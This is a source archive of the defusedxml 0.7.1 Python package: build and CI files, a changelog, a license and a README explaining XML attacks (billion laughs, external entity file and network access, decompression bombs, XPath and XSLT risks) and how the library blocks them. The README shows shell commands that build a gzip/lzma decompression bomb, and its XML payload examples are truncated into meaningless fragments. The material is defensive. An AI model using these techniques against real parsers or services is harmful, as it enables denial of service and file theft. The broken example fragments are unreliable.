pax_global_header 0000666 0000000 0000000 00000000064 14021401470 0014503 g ustar 00root root 0000000 0000000 52 comment=ebff1b493751e2f0775314bdd4188d64f07ea184
defusedxml-0.7.1/ 0000775 0000000 0000000 00000000000 14021401470 0013650 5 ustar 00root root 0000000 0000000 defusedxml-0.7.1/.coveragerc 0000664 0000000 0000000 00000000215 14021401470 0015767 0 ustar 00root root 0000000 0000000 [run]
branch = True
source =
defusedxml/
tests.py
[paths]
source =
defusedxml/
.tox/py*/lib/python*/site-packages/defusedxml/
defusedxml-0.7.1/.github/ 0000775 0000000 0000000 00000000000 14021401470 0015210 5 ustar 00root root 0000000 0000000 defusedxml-0.7.1/.github/workflows/ 0000775 0000000 0000000 00000000000 14021401470 0017245 5 ustar 00root root 0000000 0000000 defusedxml-0.7.1/.github/workflows/main.yml 0000664 0000000 0000000 00000001677 14021401470 0020727 0 ustar 00root root 0000000 0000000 on:
push:
branches:
- master
- main
- v*.x
pull_request:
branches:
- master
- main
- v*.x
workflow_dispatch:
jobs:
tests:
name: "Python ${{ matrix.python-version }}"
runs-on: "ubuntu-20.04"
strategy:
fail-fast: false
matrix:
python-version: ["2.7", "3.5", "3.6", "3.7", "3.8", "3.9"]
steps:
- uses: "actions/checkout@v2"
- uses: "actions/setup-python@v2"
with:
python-version: "${{ matrix.python-version }}"
- name: "Update pip"
run: python -m pip install --upgrade pip setuptools wheel
- name: "Install tox dependencies"
run: python -m pip install --upgrade tox tox-gh-actions coverage[toml]
- name: "Run tox for ${{ matrix.python-version }}"
run: "python -m tox"
- name: "Upload coverage to Codecov"
uses: "codecov/codecov-action@v1"
with:
fail_ci_if_error: true
defusedxml-0.7.1/.gitignore 0000664 0000000 0000000 00000000152 14021401470 0015636 0 ustar 00root root 0000000 0000000 /build/
/dist/
__pycache__
*.pyc
*.pyo
*.egg-info
.tox
.cache
.coverage
coverage.xml
MANIFEST
README.html
defusedxml-0.7.1/.hgignore 0000664 0000000 0000000 00000000206 14021401470 0015451 0 ustar 00root root 0000000 0000000 ^build/
^dist/
^core
^MANIFEST
^README\.html
^.project
^.pydevproject
^.settings
syntax: glob
*.swp
*.pyc
*.pyo
*.pyd
*~
__pycache__ defusedxml-0.7.1/CHANGES.txt 0000664 0000000 0000000 00000006340 14021401470 0015464 0 ustar 00root root 0000000 0000000 Changelog
=========
defusedxml 0.7.1
---------------------
*Release date: 08-Mar-2021*
- Fix regression ``defusedxml.ElementTree.ParseError`` (#63)
The ``ParseError`` exception is now the same class object as
``xml.etree.ElementTree.ParseError`` again.
defusedxml 0.7.0
----------------
*Release date: 4-Mar-2021*
- No changes
defusedxml 0.7.0rc2
-------------------
*Release date: 12-Jan-2021*
- Re-add and deprecate ``defusedxml.cElementTree``
- Use GitHub Actions instead of TravisCI
- Restore ``ElementTree`` attribute of ``xml.etree`` module after patching
defusedxml 0.7.0rc1
-------------------
*Release date: 04-May-2020*
- Add support for Python 3.9
- ``defusedxml.cElementTree`` is not available with Python 3.9.
- Python 2 is deprecate. Support for Python 2 will be removed in 0.8.0.
defusedxml 0.6.0
----------------
*Release date: 17-Apr-2019*
- Increase test coverage.
- Add badges to README.
defusedxml 0.6.0rc1
-------------------
*Release date: 14-Apr-2019*
- Test on Python 3.7 stable and 3.8-dev
- Drop support for Python 3.4
- No longer pass *html* argument to XMLParse. It has been deprecated and
ignored for a long time. The DefusedXMLParser still takes a html argument.
A deprecation warning is issued when the argument is False and a TypeError
when it's True.
- defusedxml now fails early when pyexpat stdlib module is not available or
broken.
- defusedxml.ElementTree.__all__ now lists ParseError as public attribute.
- The defusedxml.ElementTree and defusedxml.cElementTree modules had a typo
and used XMLParse instead of XMLParser as an alias for DefusedXMLParser.
Both the old and fixed name are now available.
defusedxml 0.5.0
----------------
*Release date: 07-Feb-2017*
- No changes
defusedxml 0.5.0.rc1
--------------------
*Release date: 28-Jan-2017*
- Add compatibility with Python 3.6
- Drop support for Python 2.6, 3.1, 3.2, 3.3
- Fix lxml tests (XMLSyntaxError: Detected an entity reference loop)
defusedxml 0.4.1
----------------
*Release date: 28-Mar-2013*
- Add more demo exploits, e.g. python_external.py and Xalan XSLT demos.
- Improved documentation.
defusedxml 0.4
--------------
*Release date: 25-Feb-2013*
- As per http://seclists.org/oss-sec/2013/q1/340 please REJECT
CVE-2013-0278, CVE-2013-0279 and CVE-2013-0280 and use CVE-2013-1664,
CVE-2013-1665 for OpenStack/etc.
- Add missing parser_list argument to sax.make_parser(). The argument is
ignored, though. (thanks to Florian Apolloner)
- Add demo exploit for external entity attack on Python's SAX parser, XML-RPC
and WebDAV.
defusedxml 0.3
--------------
*Release date: 19-Feb-2013*
- Improve documentation
defusedxml 0.2
--------------
*Release date: 15-Feb-2013*
- Rename ExternalEntitiesForbidden to ExternalReferenceForbidden
- Rename defusedxml.lxml.check_dtd() to check_docinfo()
- Unify argument names in callbacks
- Add arguments and formatted representation to exceptions
- Add forbid_external argument to all functions and classes
- More tests
- LOTS of documentation
- Add example code for other languages (Ruby, Perl, PHP) and parsers (Genshi)
- Add protection against XML and gzip attacks to xmlrpclib
defusedxml 0.1
--------------
*Release date: 08-Feb-2013*
- Initial and internal release for PSRT review
defusedxml-0.7.1/LICENSE 0000664 0000000 0000000 00000004551 14021401470 0014662 0 ustar 00root root 0000000 0000000 PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2
--------------------------------------------
1. This LICENSE AGREEMENT is between the Python Software Foundation
("PSF"), and the Individual or Organization ("Licensee") accessing and
otherwise using this software ("Python") in source or binary form and
its associated documentation.
2. Subject to the terms and conditions of this License Agreement, PSF
hereby grants Licensee a nonexclusive, royalty-free, world-wide
license to reproduce, analyze, test, perform and/or display publicly,
prepare derivative works, distribute, and otherwise use Python
alone or in any derivative version, provided, however, that PSF's
License Agreement and PSF's notice of copyright, i.e., "Copyright (c)
2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008 Python Software Foundation;
All Rights Reserved" are retained in Python alone or in any derivative
version prepared by Licensee.
3. In the event Licensee prepares a derivative work that is based on
or incorporates Python or any part thereof, and wants to make
the derivative work available to others as provided herein, then
Licensee hereby agrees to include in any such work a brief summary of
the changes made to Python.
4. PSF is making Python available to Licensee on an "AS IS"
basis. PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND
DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT
INFRINGE ANY THIRD PARTY RIGHTS.
5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON,
OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.
6. This License Agreement will automatically terminate upon a material
breach of its terms and conditions.
7. Nothing in this License Agreement shall be deemed to create any
relationship of agency, partnership, or joint venture between PSF and
Licensee. This License Agreement does not grant permission to use PSF
trademarks or trade name in a trademark sense to endorse or promote
products or services of Licensee, or any third party.
8. By copying, installing or otherwise using Python, Licensee
agrees to be bound by the terms and conditions of this License
Agreement.
defusedxml-0.7.1/MANIFEST.in 0000664 0000000 0000000 00000000354 14021401470 0015410 0 ustar 00root root 0000000 0000000 include setup.py
include README.txt CHANGES.txt LICENSE README.html
include void.css
include MANIFEST.in
include setup.py Makefile
include tests.py
recursive-include xmltestdata *.xml
recursive-include other *.php *.pl *.rb *.py *.txt
defusedxml-0.7.1/Makefile 0000664 0000000 0000000 00000002535 14021401470 0015315 0 ustar 00root root 0000000 0000000 PYTHON=python3
SETUPFLAGS=
COMPILEFLAGS=
INSTALLFLAGS=
.PHONY: inplace all rebuild test_inplace test fulltests clean distclean
.PHONY: sdist install black
all: inplace black README.html README.md
README.md: README.txt CHANGES.txt
pandoc --from=rst --to=gfm README.txt > $@
pandoc --from=rst --to=gfm CHANGES.txt >> $@
sed -i ':a;N;$$!ba;s/\n\[!/[!/g' $@
README.html: README.txt CHANGES.txt void.css
@echo | cat README.txt - CHANGES.txt | \
rst2html --verbose --exit-status=1 --stylesheet=void.css \
> README.html
inplace:
$(PYTHON) setup.py $(SETUPFLAGS) build_ext -i $(COMPILEFLAGS)
rebuild: clean all
test_inplace: inplace
$(PYTHON) -m tests
test: test_inplace
black:
black $(CURDIR) || true
clean:
@find . \( -name '*.o' -or -name '*.so' -or -name '*.sl' -or \
-name '*.py[cod]' -or -name README.html \) \
-and -type f -delete
@rm -f .coverage .coverage.* coverage.xml
distclean: clean
@rm -rf build
@rm -rf dist
@find . \( -name '~*' -or -name '*.orig' -or -name '*.bak' -or \
-name 'core*' \) -and -type f -delete
whitespace:
@find \( -name '*.rst' -or -name '*.py' -or -name '*.xml' \) | \
xargs sed -i 's/[ \t]*$$//'
packages: README.html README.md
$(PYTHON) setup.py packages
install:
$(PYTHON) setup.py $(SETUPFLAGS) build $(COMPILEFLAGS)
$(PYTHON) setup.py install $(INSTALLFLAGS)
defusedxml-0.7.1/README.md 0000664 0000000 0000000 00000074743 14021401470 0015146 0 ustar 00root root 0000000 0000000 # defusedxml -- defusing XML bombs and other exploits
[](https://pypi.org/project/defusedxml/)
[](https://pypi.org/project/defusedxml/)
[](https://travis-ci.org/tiran/defusedxml)
[](https://codecov.io/github/tiran/defusedxml?branch=master)
[](https://pypistats.org/packages/defusedxml)
[](https://github.com/psf/black)
Christian Heimes \<\>
## Synopsis
The results of an attack on a vulnerable XML library can be fairly
dramatic. With just a few hundred **Bytes** of XML data an attacker can
occupy several **Gigabytes** of memory within **seconds**. An attacker
can also keep CPUs busy for a long time with a small to medium size
request. Under some circumstances it is even possible to access local
files on your server, to circumvent a firewall, or to abuse services to
rebound attacks to third parties.
The attacks use and abuse less common features of XML and its parsers.
The majority of developers are unacquainted with features such as
processing instructions and entity expansions that XML inherited from
SGML. At best they know about `` from experience with HTML but
they are not aware that a document type definition (DTD) can generate an
HTTP request or load a file from the file system.
None of the issues is new. They have been known for a long time. Billion
laughs was first reported in 2003. Nevertheless some XML libraries and
applications are still vulnerable and even heavy users of XML are
surprised by these features. It's hard to say whom to blame for the
situation. It's too short sighted to shift all blame on XML parsers and
XML libraries for using insecure default settings. After all they
properly implement XML specifications. Application developers must not
rely that a library is always configured for security and potential
harmful data by default.
Table of Contents
## Attack vectors
### billion laughs / exponential entity expansion
The [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs)
attack -- also known as exponential entity expansion --uses multiple
levels of nested entities. The original example uses 9 levels of 10
expansions in each level to expand the string `lol` to a string of 3 \*
10 9 bytes, hence the name "billion laughs". The resulting
string occupies 3 GB (2.79 GiB) of memory; intermediate strings require
additional memory. Because most parsers don't cache the intermediate
step for every expansion it is repeated over and over again. It
increases the CPU load even more.
An XML document of just a few hundred bytes can disrupt all services on
a machine within seconds.
Example XML:
]>
&d;
### quadratic blowup entity expansion
A quadratic blowup attack is similar to a [Billion
Laughs](https://en.wikipedia.org/wiki/Billion_laughs) attack; it abuses
entity expansion, too. Instead of nested entities it repeats one large
entity with a couple of thousand chars over and over again. The attack
isn't as efficient as the exponential case but it avoids triggering
countermeasures of parsers against heavily nested entities. Some parsers
limit the depth and breadth of a single entity but not the total amount
of expanded text throughout an entire XML document.
A medium-sized XML document with a couple of hundred kilobytes can
require a couple of hundred MB to several GB of memory. When the attack
is combined with some level of nested expansion an attacker is able to
achieve a higher ratio of success.
]>
&a;&a;&a;... repeat
### external entity expansion (remote)
Entity declarations can contain more than just text for replacement.
They can also point to external resources by public identifiers or
system identifiers. System identifiers are standard URIs. When the URI
is a URL (e.g. a `http://` locator) some parsers download the resource
from the remote location and embed them into the XML document verbatim.
Simple example of a parsed external entity:
]>
ⅇ
The case of parsed external entities works only for valid XML content.
The XML standard also supports unparsed external entities with a `NData
declaration`.
External entity expansion opens the door to plenty of exploits. An
attacker can abuse a vulnerable XML library and application to rebound
and forward network requests with the IP address of the server. It
highly depends on the parser and the application what kind of exploit is
possible. For example:
- An attacker can circumvent firewalls and gain access to restricted
resources as all the requests are made from an internal and
trustworthy IP address, not from the outside.
- An attacker can abuse a service to attack, spy on or DoS your
servers but also third party services. The attack is disguised with
the IP address of the server and the attacker is able to utilize the
high bandwidth of a big machine.
- An attacker can exhaust additional resources on the machine, e.g.
with requests to a service that doesn't respond or responds with
very large files.
- An attacker may gain knowledge, when, how often and from which IP
address an XML document is accessed.
- An attacker could send mail from inside your network if the URL
handler supports `smtp://` URIs.
### external entity expansion (local file)
External entities with references to local files are a sub-case of
external entity expansion. It's listed as an extra attack because it
deserves extra attention. Some XML libraries such as lxml disable
network access by default but still allow entity expansion with local
file access by default. Local files are either referenced with a
`file://` URL or by a file path (either relative or absolute).
An attacker may be able to access and download all files that can be
read by the application process. This may include critical configuration
files, too.
]>
ⅇ
### DTD retrieval
This case is similar to external entity expansion, too. Some XML
libraries like Python's xml.dom.pulldom retrieve document type
definitions from remote or local locations. Several attack scenarios
from the external entity case apply to this issue as well.
text
## Python XML Libraries
| kind | sax | etree | minidom | pulldom | xmlrpc | lxml | genshi |
| -------------------------------------- | -------- | ------------ | --------- | -------- | -------- | -------------- | --------- |
| billion laughs | **True** | **True** | **True** | **True** | **True** | False (1) | False (5) |
| quadratic blowup | **True** | **True** | **True** | **True** | **True** | **True** | False (5) |
| external entity expansion (remote) | **True** | False (3) | False (4) | **True** | false | False (1) | False (5) |
| external entity expansion (local file) | **True** | False (3) | False (4) | **True** | false | **True** | False (5) |
| DTD retrieval | **True** | False | False | **True** | false | False (1) | False |
| gzip bomb | False | False | False | False | **True** | **partly** (2) | False |
| xpath support (7) | False | False | False | False | False | **True** | False |
| xsl(t) support (7) | False | False | False | False | False | **True** | False |
| xinclude support (7) | False | **True** (6) | False | False | False | **True** (6) | **True** |
| C library | expat | expat | expat | expat | expat | libxml2 | expat |
vulnerabilities and features
1. Lxml is protected against billion laughs attacks and doesn't do
network lookups by default.
2. libxml2 and lxml are not directly vulnerable to gzip decompression
bombs but they don't protect you against them either.
3. xml.etree doesn't expand entities and raises a ParserError when an
entity occurs.
4. minidom doesn't expand entities and simply returns the unexpanded
entity verbatim.
5. genshi.input of genshi 0.6 doesn't support entity expansion and
raises a ParserError when an entity occurs.
6. Library has (limited) XInclude support but requires an additional
step to process inclusion.
7. These are features but they may introduce exploitable holes, see
[Other things to consider](#other-things-to-consider)
### Settings in standard library
#### xml.sax.handler Features
- feature\_external\_ges
()
disables external entity expansion
- feature\_external\_pes
()
the option is ignored and doesn't modify any functionality
#### DOM xml.dom.xmlbuilder.Options
- external\_parameter\_entities
ignored
- external\_general\_entities
ignored
- external\_dtd\_subset
ignored
- entities
unsure
## defusedxml
The [defusedxml package](https://github.com/tiran/defusedxml)
([defusedxml on PyPI](https://pypi.python.org/pypi/defusedxml)) contains
several Python-only workarounds and fixes for denial of service and
other vulnerabilities in Python's XML libraries. In order to benefit
from the protection you just have to import and use the listed functions
/ classes from the right defusedxml module instead of the original
module. Merely [defusedxml.xmlrpc](#defusedxml.xmlrpc) is implemented as
monkey patch.
Instead of:
>>> from xml.etree.ElementTree import parse
>>> et = parse(xmlfile)
alter code to:
>>> from defusedxml.ElementTree import parse
>>> et = parse(xmlfile)
Additionally the package has an **untested** function to monkey patch
all stdlib modules with `defusedxml.defuse_stdlib()`.
All functions and parser classes accept three additional keyword
arguments. They return either the same objects as the original functions
or compatible subclasses.
- forbid\_dtd (default: False)
disallow XML with a `` processing instruction and raise a
*DTDForbidden* exception when a DTD processing instruction is found.
- forbid\_entities (default: True)
disallow XML with `` declarations inside the DTD and raise
an *EntitiesForbidden* exception when an entity is declared.
- forbid\_external (default: True)
disallow any access to remote or local resources in external
entities or DTD and raising an *ExternalReferenceForbidden*
exception when a DTD or entity references an external resource.
### defusedxml (package)
DefusedXmlException, DTDForbidden, EntitiesForbidden,
ExternalReferenceForbidden, NotSupportedError
defuse\_stdlib() (*experimental*)
### defusedxml.cElementTree
**NOTE** `defusedxml.cElementTree` is deprecated and will be removed in
a future release. Import from `defusedxml.ElementTree` instead.
parse(), iterparse(), fromstring(), XMLParser
### defusedxml.ElementTree
parse(), iterparse(), fromstring(), XMLParser
### defusedxml.expatreader
create\_parser(), DefusedExpatParser
### defusedxml.sax
parse(), parseString(), make\_parser()
### defusedxml.expatbuilder
parse(), parseString(), DefusedExpatBuilder, DefusedExpatBuilderNS
### defusedxml.minidom
parse(), parseString()
### defusedxml.pulldom
parse(), parseString()
### defusedxml.xmlrpc
The fix is implemented as monkey patch for the stdlib's xmlrpc package
(3.x) or xmlrpclib module (2.x). The function
monkey\_patch() enables the fixes,
unmonkey\_patch() removes the patch and
puts the code in its former state.
The monkey patch protects against XML related attacks as well as
decompression bombs and excessively large requests or responses. The
default setting is 30 MB for requests, responses and gzip decompression.
You can modify the default by changing the module variable
MAX\_DATA. A value of
-1 disables the limit.
### defusedxml.lxml
**DEPRECATED** The module is deprecated and will be removed in a future
release.
The module acts as an *example* how you could protect code that uses
lxml.etree. It implements a custom Element class that filters out Entity
instances, a custom parser factory and a thread local storage for parser
instances. It also has a check\_docinfo() function which inspects a tree
for internal or external DTDs and entity declarations. In order to check
for entities lxml \> 3.0 is required.
parse(), fromstring() RestrictedElement, GlobalParserTLS,
getDefaultParser(), check\_docinfo()
## defusedexpat
The [defusedexpat package](https://github.com/tiran/defusedexpat)
([defusedexpat on PyPI](https://pypi.python.org/pypi/defusedexpat))
comes with binary extensions and a [modified
expat](https://github.com/tiran/expat) library instead of the standard
[expat parser](http://expat.sourceforge.net/). It's basically a
stand-alone version of the patches for Python's standard library C
extensions.
### Modifications in expat
new definitions:
XML_BOMB_PROTECTION
XML_DEFAULT_MAX_ENTITY_INDIRECTIONS
XML_DEFAULT_MAX_ENTITY_EXPANSIONS
XML_DEFAULT_RESET_DTD
new XML\_FeatureEnum members:
XML_FEATURE_MAX_ENTITY_INDIRECTIONS
XML_FEATURE_MAX_ENTITY_EXPANSIONS
XML_FEATURE_IGNORE_DTD
new XML\_Error members:
XML_ERROR_ENTITY_INDIRECTIONS
XML_ERROR_ENTITY_EXPANSION
new API functions:
int XML_GetFeature(XML_Parser parser,
enum XML_FeatureEnum feature,
long *value);
int XML_SetFeature(XML_Parser parser,
enum XML_FeatureEnum feature,
long value);
int XML_GetFeatureDefault(enum XML_FeatureEnum feature,
long *value);
int XML_SetFeatureDefault(enum XML_FeatureEnum feature,
long value);
- XML\_FEATURE\_MAX\_ENTITY\_INDIRECTIONS
Limit the amount of indirections that are allowed to occur during
the expansion of a nested entity. A counter starts when an entity
reference is encountered. It resets after the entity is fully
expanded. The limit protects the parser against exponential entity
expansion attacks (aka billion laughs attack). When the limit is
exceeded the parser stops and fails with
XML\_ERROR\_ENTITY\_INDIRECTIONS. A
value of 0 disables the protection.
- Supported range
0 .. UINT\_MAX
- Default
40
- XML\_FEATURE\_MAX\_ENTITY\_EXPANSIONS
Limit the total length of all entity expansions throughout the
entire document. The lengths of all entities are accumulated in a
parser variable. The setting protects against quadratic blowup
attacks (lots of expansions of a large entity declaration). When the
sum of all entities exceeds the limit, the parser stops and fails
with XML\_ERROR\_ENTITY\_EXPANSION. A
value of 0 disables the protection.
- Supported range
0 .. UINT\_MAX
- Default
8 MiB
- XML\_FEATURE\_RESET\_DTD
Reset all DTD information after the \<\!DOCTYPE\> block has been
parsed. When the flag is set (default: false) all DTD information
after the endDoctypeDeclHandler has been called. The flag can be set
inside the endDoctypeDeclHandler. Without DTD information any entity
reference in the document body leads to
XML\_ERROR\_UNDEFINED\_ENTITY.
- Supported range
0, 1
- Default
0
## How to avoid XML vulnerabilities
### Best practices
- Don't allow DTDs
- Don't expand entities
- Don't resolve externals
- Limit parse depth
- Limit total input size
- Limit parse time
- Favor a SAX or iterparse-like parser for potential large data
- Validate and properly quote arguments to XSL transformations and
XPath queries
- Don't use XPath expression from untrusted sources
- Don't apply XSL transformations that come untrusted sources
(based on Brad Hill's [Attacking XML
Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf))
## Other things to consider
XML, XML parsers and processing libraries have more features and
possible issue that could lead to DoS vulnerabilities or security
exploits in applications. I have compiled an incomplete list of
theoretical issues that need further research and more attention. The
list is deliberately pessimistic and a bit paranoid, too. It contains
things that might go wrong under daffy circumstances.
### attribute blowup / hash collision attack
XML parsers may use an algorithm with quadratic runtime O(n
2) to handle attributes and namespaces. If it uses hash
tables (dictionaries) to store attributes and namespaces the
implementation may be vulnerable to hash collision attacks, thus
reducing the performance to O(n 2) again. In either case an
attacker is able to forge a denial of service attack with an XML
document that contains thousands upon thousands of attributes in a
single node.
I haven't researched yet if expat, pyexpat or libxml2 are vulnerable.
### decompression bomb
The issue of decompression bombs (aka [ZIP
bomb](https://en.wikipedia.org/wiki/Zip_bomb)) apply to all XML
libraries that can parse compressed XML stream like gzipped HTTP streams
or LZMA-ed files. For an attacker it can reduce the amount of
transmitted data by three magnitudes or more. Gzip is able to compress 1
GiB zeros to roughly 1 MB, lzma is even better:
$ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz
$ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy
$ ls -sh zeros.*
1020K zeros.gz
148K zeros.xy
None of Python's standard XML libraries decompress streams except for
`xmlrpclib`. The module is vulnerable
\<\> to decompression bombs.
lxml can load and process compressed data through libxml2 transparently.
libxml2 can handle even very large blobs of compressed data efficiently
without using too much memory. But it doesn't protect applications from
decompression bombs. A carefully written SAX or iterparse-like approach
can be safe.
### Processing Instruction
[PI](https://en.wikipedia.org/wiki/Processing_Instruction)'s like:
may impose more threats for XML processing. It depends if and how a
processor handles processing instructions. The issue of URL retrieval
with network or local file access apply to processing instructions, too.
### Other DTD features
[DTD](https://en.wikipedia.org/wiki/Document_Type_Definition) has more
features like ``. I haven't researched how these features may
be a security threat.
### XPath
XPath statements may introduce DoS vulnerabilities. Code should never
execute queries from untrusted sources. An attacker may also be able to
create an XML document that makes certain XPath queries costly or
resource hungry.
### XPath injection attacks
XPath injeciton attacks pretty much work like SQL injection attacks.
Arguments to XPath queries must be quoted and validated properly,
especially when they are taken from the user. The page [Avoid the
dangers of XPath
injection](http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html)
list some ramifications of XPath injections.
Python's standard library doesn't have XPath support. Lxml supports
parameterized XPath queries which does proper quoting. You just have to
use its xpath() method correctly:
# DON'T
>>> tree.xpath("/tag[@id='%s']" % value)
# instead do
>>> tree.xpath("/tag[@id=$tagid]", tagid=name)
### XInclude
[XML Inclusion](https://www.w3.org/TR/xinclude/#include_element) is
another way to load and include external files:
This feature should be disabled when XML files from an untrusted source
are processed. Some Python XML libraries and libxml2 support XInclude
but don't have an option to sandbox inclusion and limit it to allowed
directories.
### XMLSchema location
A validating XML parser may download schema files from the information
in a `xsi:schemaLocation` attribute.
### XSL Transformation
You should keep in mind that XSLT is a Turing complete language. Never
process XSLT code from unknown or untrusted source\! XSLT processors may
allow you to interact with external resources in ways you can't even
imagine. Some processors even support extensions that allow read/write
access to file system, access to JRE objects or scripting with Jython.
Example from [Attacking XML
Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf)
for Xalan-J:
## Related CVEs
- CVE-2013-1664
Unrestricted entity expansion induces DoS vulnerabilities in Python
XML libraries (XML bomb)
- CVE-2013-1665
External entity expansion in Python XML libraries inflicts potential
security flaws and DoS vulnerabilities
## Other languages / frameworks
Several other programming languages and frameworks are vulnerable as
well. A couple of them are affected by the fact that libxml2 up to 2.9.0
has no protection against quadratic blowup attacks. Most of them have
potential dangerous default settings for entity expansion and external
entities, too.
### Perl
Perl's XML::Simple is vulnerable to quadratic entity expansion and
external entity expansion (both local and remote).
### Ruby
Ruby's REXML document parser is vulnerable to entity expansion attacks
(both quadratic and exponential) but it doesn't do external entity
expansion by default. In order to counteract entity expansion you have
to disable the feature:
REXML::Document.entity_expansion_limit = 0
libxml-ruby and hpricot don't expand entities in their default
configuration.
### PHP
PHP's SimpleXML API is vulnerable to quadratic entity expansion and
loads entities from local and remote resources. The option
`LIBXML_NONET` disables network access but still allows local file
access. `LIBXML_NOENT` seems to have no effect on entity expansion in
PHP 5.4.6.
### C\# / .NET / Mono
Information in [XML DoS and Defenses
(MSDN)](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx) suggest
that .NET is vulnerable with its default settings. The article contains
code snippets how to create a secure XML reader:
XmlReaderSettings settings = new XmlReaderSettings();
settings.ProhibitDtd = false;
settings.MaxCharactersFromEntities = 1024;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);
### Java
Untested. The documentation of Xerces and its [Xerces
SecurityMananger](https://xerces.apache.org/xerces2-j/javadocs/xerces2/org/apache/xerces/util/SecurityManager.html)
sounds like Xerces is also vulnerable to billion laugh attacks with its
default settings. It also does entity resolving when an
`org.xml.sax.EntityResolver` is configured. I'm not yet sure about the
default setting here.
Java specialists suggest to have a custom builder factory:
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setXIncludeAware(False);
builderFactory.setExpandEntityReferences(False);
builderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, True);
# either
builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", True);
# or if you need DTDs
builderFactory.setFeature("http://xml.org/sax/features/external-general-entities", False);
builderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", False);
builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", False);
builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-dtd-grammar", False);
## TODO
- DOM: Use xml.dom.xmlbuilder options for entity handling
- SAX: take feature\_external\_ges and feature\_external\_pes (?) into
account
- test experimental monkey patching of stdlib modules
- improve documentation
## License
Copyright (c) 2013-2017 by Christian Heimes \<\>
Licensed to PSF under a Contributor Agreement.
See for licensing details.
## Acknowledgements
- Brett Cannon (Python Core developer)
review and code cleanup
- Antoine Pitrou (Python Core developer)
code review
- Aaron Patterson, Ben Murphy and Michael Koziarski (Ruby community)
Many thanks to Aaron, Ben and Michael from the Ruby community for
their report and assistance.
- Thierry Carrez (OpenStack)
Many thanks to Thierry for his report to the Python Security
Response Team on behalf of the OpenStack security team.
- Carl Meyer (Django)
Many thanks to Carl for his report to PSRT on behalf of the Django
security team.
- Daniel Veillard (libxml2)
Many thanks to Daniel for his insight and assistance with libxml2.
- semantics GmbH ()
Many thanks to my employer semantics for letting me work on the
issue during working hours as part of semantics's open source
initiative.
## References
- [XML DoS and Defenses
(MSDN)](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx)
- [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs) on
Wikipedia
- [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb) on Wikipedia
- [Configure SAX parsers for secure
processing](http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html)
- [Testing for XML
Injection](https://www.owasp.org/index.php/Testing_for_XML_Injection_\(OWASP-DV-008\))
# Changelog
## defusedxml 0.7.1
*Release date: 08-Mar-2021*
- Fix regression `defusedxml.ElementTree.ParseError` (\#63) The
`ParseError` exception is now the same class object as
`xml.etree.ElementTree.ParseError` again.
## defusedxml 0.7.0
*Release date: 4-Mar-2021*
- No changes
## defusedxml 0.7.0rc2
*Release date: 12-Jan-2021*
- Re-add and deprecate `defusedxml.cElementTree`
- Use GitHub Actions instead of TravisCI
- Restore `ElementTree` attribute of `xml.etree` module after patching
## defusedxml 0.7.0rc1
*Release date: 04-May-2020*
- Add support for Python 3.9
- `defusedxml.cElementTree` is not available with Python 3.9.
- Python 2 is deprecate. Support for Python 2 will be removed in
0.8.0.
## defusedxml 0.6.0
*Release date: 17-Apr-2019*
- Increase test coverage.
- Add badges to README.
## defusedxml 0.6.0rc1
*Release date: 14-Apr-2019*
- Test on Python 3.7 stable and 3.8-dev
- Drop support for Python 3.4
- No longer pass *html* argument to XMLParse. It has been deprecated
and ignored for a long time. The DefusedXMLParser still takes a html
argument. A deprecation warning is issued when the argument is False
and a TypeError when it's True.
- defusedxml now fails early when pyexpat stdlib module is not
available or broken.
- defusedxml.ElementTree.\_\_all\_\_ now lists ParseError as public
attribute.
- The defusedxml.ElementTree and defusedxml.cElementTree modules had a
typo and used XMLParse instead of XMLParser as an alias for
DefusedXMLParser. Both the old and fixed name are now available.
## defusedxml 0.5.0
*Release date: 07-Feb-2017*
- No changes
## defusedxml 0.5.0.rc1
*Release date: 28-Jan-2017*
- Add compatibility with Python 3.6
- Drop support for Python 2.6, 3.1, 3.2, 3.3
- Fix lxml tests (XMLSyntaxError: Detected an entity reference loop)
## defusedxml 0.4.1
*Release date: 28-Mar-2013*
- Add more demo exploits, e.g. python\_external.py and Xalan XSLT
demos.
- Improved documentation.
## defusedxml 0.4
*Release date: 25-Feb-2013*
- As per please REJECT
CVE-2013-0278, CVE-2013-0279 and CVE-2013-0280 and use
CVE-2013-1664, CVE-2013-1665 for OpenStack/etc.
- Add missing parser\_list argument to sax.make\_parser(). The
argument is ignored, though. (thanks to Florian Apolloner)
- Add demo exploit for external entity attack on Python's SAX parser,
XML-RPC and WebDAV.
## defusedxml 0.3
*Release date: 19-Feb-2013*
- Improve documentation
## defusedxml 0.2
*Release date: 15-Feb-2013*
- Rename ExternalEntitiesForbidden to ExternalReferenceForbidden
- Rename defusedxml.lxml.check\_dtd() to check\_docinfo()
- Unify argument names in callbacks
- Add arguments and formatted representation to exceptions
- Add forbid\_external argument to all functions and classes
- More tests
- LOTS of documentation
